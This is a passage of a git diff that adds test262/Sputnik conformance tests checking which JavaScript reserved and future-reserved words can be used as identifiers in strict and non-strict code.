+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "int" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.17.js
+ * @description Checking if execution of "int=1" succeeds
+ */
+
+var int = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18.js
new file mode 100644
index 000000000..e8dd1ff42
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "interface" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18.js
+ * @description Checking if execution of "interface = 1" fails in
+ * strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+var interface = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18ns.js
new file mode 100644
index 000000000..878a7cd42
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18ns.js
@@ -0,0 +1,15 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "interface" token can be used as identifier in
+ * non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.18ns.js
+ * @description Checking if execution of "interface = 1" succeeds in
+ * non-strict code
+ * @noStrict
+ */
+
+var interface = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.19.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.19.js
new file mode 100644
index 000000000..d4905b5aa
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.19.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "long" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.19.js
+ * @description Checking if execution of "long=1" succeeds
+ */
+
+var long = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.2.js
new file mode 100644
index 000000000..16f86cd48
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.2.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "boolean" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.2.js
+ * @description Checking if execution of "boolean=1" succeeds
+ */
+
+var boolean = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.20.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.20.js
new file mode 100644
index 000000000..1646a5a8f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.20.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "native" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.20.js
+ * @description Checking if execution of "native=1" succeeds
+ */
+
+var native = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21.js
new file mode 100644
index 000000000..ef2d1dacc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "package" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21.js
+ * @description Checking if execution of "package=1" fails in strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+var package = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21ns.js
new file mode 100644
index 000000000..3a33532fe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21ns.js
@@ -0,0 +1,13 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "package" token can be used as identifier in non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.21ns.js
+ * @description Checking if execution of "package=1" succeeds in non-strict code
+ * @noStrict
+ */
+
+var package = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22.js
new file mode 100644
index 000000000..45fc83f29
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "private" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22.js
+ * @description Checking if execution of "private=1" fails in strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+var private = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22ns.js
new file mode 100644
index 000000000..0562ca843
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22ns.js
@@ -0,0 +1,13 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "private" token can be used as identifier in non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.22ns.js
+ * @description Checking if execution of "private=1" succeeds in non-strict code
+ * @noStrict
+ */
+
+var private = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23.js
new file mode 100644
index 000000000..c04b13172
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "protected" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23.js
+ * @description Checking if execution of "protected=1" fails in
+ * strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+var protected = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23ns.js
new file mode 100644
index 000000000..499512d5b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23ns.js
@@ -0,0 +1,13 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "protected" token can be used as identifier in non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.23ns.js
+ * @description Checking if execution of "protected=1" succeeds in non-strict code
+ * @noStrict
+ */
+
+var protected = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24.js
new file mode 100644
index 000000000..55f99e8fd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "public" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24.js
+ * @description Checking if execution of "public=1" fails in strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+var public = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24ns.js
new file mode 100644
index 000000000..7090147cd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24ns.js
@@ -0,0 +1,13 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "public" token can be used as identifier in non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.24ns.js
+ * @description Checking if execution of "public=1" succeeds in non-strict code
+ * @noStrict
+ */
+
+var public = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.25.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.25.js
new file mode 100644
index 000000000..0c11e3cf3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.25.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "short" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.25.js
+ * @description Checking if execution of "short=1" succeeds
+ */
+
+var short = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26.js
new file mode 100644
index 000000000..a1f336935
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "static" token can not be used as identifier in strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26.js
+ * @description Checking if execution of "static=1" fails in strict code
+ * @onlyStrict
+ * @negative
+ */
+
+"use strict";
+var static = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26ns.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26ns.js
new file mode 100644
index 000000000..2e7e1f7b7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26ns.js
@@ -0,0 +1,13 @@
+// Copyright 2011 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "static" token can be used as identifier in non-strict code
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.26ns.js
+ * @description Checking if execution of "static=1" succeeds in non-strict code
+ * @noStrict
+ */
+
+var static = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.27.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.27.js
new file mode 100644
index 000000000..c78862fb9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.27.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "super" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.27.js
+ * @description Checking if execution of "super=1" fails
+ * @negative
+ */
+
+var super = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.28.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.28.js
new file mode 100644
index 000000000..515372a7a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.28.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "synchronized" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.28.js
+ * @description Checking if execution of "synchronized=1" succeeds
+ */
+
+var synchronized = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.29.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.29.js
new file mode 100644
index 000000000..54dec6155
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.29.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "throws" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.29.js
+ * @description Checking if execution of "throws=1" succeeds
+ */
+
+var throws = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.3.js
new file mode 100644
index 000000000..50c5d7885
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.3.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "byte" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.3.js
+ * @description Checking if execution of "byte=1" succeeds
+ */
+
+var byte = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.30.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.30.js
new file mode 100644
index 000000000..37128f047
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.30.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "transient" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.30.js
+ * @description Checking if execution of "transient=1" succeeds
+ */
+
+var transient = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.31.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.31.js
new file mode 100644
index 000000000..57fb357d8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.31.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "volatile" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.31.js
+ * @description Checking if execution of "volatile=1" succeeds
+ */
+
+var volatile = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.4.js
new file mode 100644
index 000000000..1af1677e4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.4.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "char" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.4.js
+ * @description Checking if execution of "char=1" succeeds
+ */
+
+var char = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.5.js
new file mode 100644
index 000000000..b84b44248
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.5.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "class" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.5.js
+ * @description Checking if execution of "class=1" fails
+ * @negative
+ */
+
+var class = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.6.js
new file mode 100644
index 000000000..da95d7ebf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.6.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "const" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.6.js
+ * @description Checking if execution of "const=1" fails
+ * @negative
+ */
+
+var const = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.7.js
new file mode 100644
index 000000000..ed4c3f0fc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.7.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "debugger" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.7.js
+ * @description Checking if execution of "debugger=1" fails
+ * @negative
+ */
+
+var debugger = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.8.js
new file mode 100644
index 000000000..70a0a0a49
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.8.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "double" token can be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.8.js
+ * @description Checking if execution of "double=1" succeeds
+ */
+
+var double = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.9.js
new file mode 100644
index 000000000..5294cb0d0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.9.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "enum" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.2/S7.6.1.2_A1.9.js
+ * @description Checking if execution of "enum=1" fails
+ * @negative
+ */
+
+var enum = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/browser.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/browser.js
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/shell.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/shell.js
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.1.js b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.1.js
new file mode 100644
index 000000000..d97c7843a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "null" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/S7.6.1_A1.1.js
+ * @description Checking if execution of "null = 1" fails
+ * @negative
+ */
+
+null = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.2.js b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.2.js
new file mode 100644
index 000000000..2c49731cb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "true" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/S7.6.1_A1.2.js
+ * @description Checking if execution of "true=1" fails
+ * @negative
+ */
+
+true = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.3.js b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.3.js
new file mode 100644
index 000000000..01cf52f75
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A1.3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "false" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/S7.6.1_A1.3.js
+ * @description Checking if execution of "false=1" fails
+ * @negative
+ */
+
+false = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A2.js b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A2.js
new file mode 100644
index 000000000..e123f067f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/S7.6.1_A2.js
@@ -0,0 +1,121 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * List of words that are not reserved
+ *
+ * @path ch07/7.6/7.6.1/S7.6.1_A2.js
+ * @description Try assign 1 for not reserved words
+ */
+
+// a
+var and = 1;
+var and_eq = 1;
+var as = 1;
+var asm = 1;
+var assert = 1;
+var auto = 1;
+// b
+var base = 1;
+var bitand = 1;
+var bitor = 1;
+var bool = 1;
+var byvalue = 1;
+// c
+var checked = 1;
+var clone = 1;
+var comment = 1;
+var compl = 1;
+var const_cast = 1;
+// d
+var decimal = 1;
+var delegate = 1;
+var dynamic_cast = 1;
+// e
+var explicit = 1;
+var extern = 1;
+var equals = 1;
+var event = 1;
+// f
+var finalize = 1;
+var fixed = 1;
+var friend = 1;
+var foreach = 1;
+var future = 1;
+// g
+var getClass = 1;
+var generic = 1;
+// h
+var hashCode = 1;
+// i
+var implicit = 1;
+var infinity = 1;
+var inline = 1;
+var inner = 1;
+var internal = 1;
+var is = 1;
+// j
+// k
+// l
+var lock = 1;
+// m
+var mutable = 1;
+// n
+var namespace = 1;
+var not = 1;
+var notify = 1;
+var notifyAll = 1;
+var not_eq = 1;
+// o
+var object = 1;
+var operator = 1;
+var or = 1;
+var or_eq = 1;
+var out = 1;
+var outer = 1;
+var override = 1;
+// p
+var params = 1;
+// q
+// r
+var readonly = 1;
+var reinterpret_cast = 1;
+var ref = 1;
+var register = 1;
+
+// s
+var sbyte = 1;
+var signed = 1;
+var sizeof = 1;
+var stackalloc = 1;
+var static_cast = 1;
+var string = 1;
+var strictfp = 1;
+var struct = 1;
+// t
+var template = 1;
+var toString = 1;
+var typedef = 1;
+var typeid = 1;
+// u
+var uint = 1;
+var unchecked = 1;
+var undefiend = 1;
+var union = 1;
+var unsafe = 1;
+var unsigned = 1;
+var use = 1;
+var using = 1;
+var ushort = 1;
+// v
+var valueOf = 1;
+var virtual = 1;
+// w
+var wait = 1;
+var wchar_t = 1;
+// x
+var xor = 1;
+var xor_eq = 1;
+// y
+// z
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/browser.js b/js/src/tests/test262/ch07/7.6/7.6.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/browser.js
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/shell.js b/js/src/tests/test262/ch07/7.6/7.6.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/shell.js
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T1.js b/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T1.js
new file mode 100644
index 000000000..54aee1064
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierStart :: $
+ *
+ * @path ch07/7.6/S7.6_A1.2_T1.js
+ * @description Create variable $
+ */
+
+//CHECK#1
+var $ = 1;
+if ($ !== 1) {
+ $ERROR('#1: var $ = 1; $ === 1. Actual: ' + ($));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T2.js b/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T2.js
new file mode 100644
index 000000000..d6474ac41
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T2.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierStart :: $
+ *
+ * @path ch07/7.6/S7.6_A1.2_T2.js
+ * @description The $ as unicode character \u0024
+ */
+
+//CHECK#1
+var \u0024 = 1;
+if ($ !== 1) {
+ $ERROR('#1: var \\u0024 = 1; $ === 1. Actual: ' + ($));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T3.js b/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T3.js
new file mode 100644
index 000000000..571075a76
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A1.2_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierStart :: $
+ *
+ * @path ch07/7.6/S7.6_A1.2_T3.js
+ * @description The $ as unicode character \u0024
+ */
+
+//CHECK#1
+var identifier = String.fromCharCode(0x0024);
+eval("var " + identifier + "=1");
+if (eval(identifier + "===1") !== true) {
+ $ERROR('#1: var identifier = String.fromCharCode(0x0024); eval("var " + identifier + "=1"); eval(identifier + "===1") === true');
+}
+
+//CHECK#2
+if ("$" !== String.fromCharCode(0x0024)) {
+ $ERROR('#2: "$" === String.fromCharCode(0x0024)');
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T1.js b/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T1.js
new file mode 100644
index 000000000..8d1164d2b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierStart :: _
+ *
+ * @path ch07/7.6/S7.6_A1.3_T1.js
+ * @description Create variable _
+ */
+
+//CHECK#1
+var _ = 1;
+if (_ !== 1) {
+ $ERROR('#1: var _ = 1; _ === 1. Actual: ' + (_));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T2.js b/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T2.js
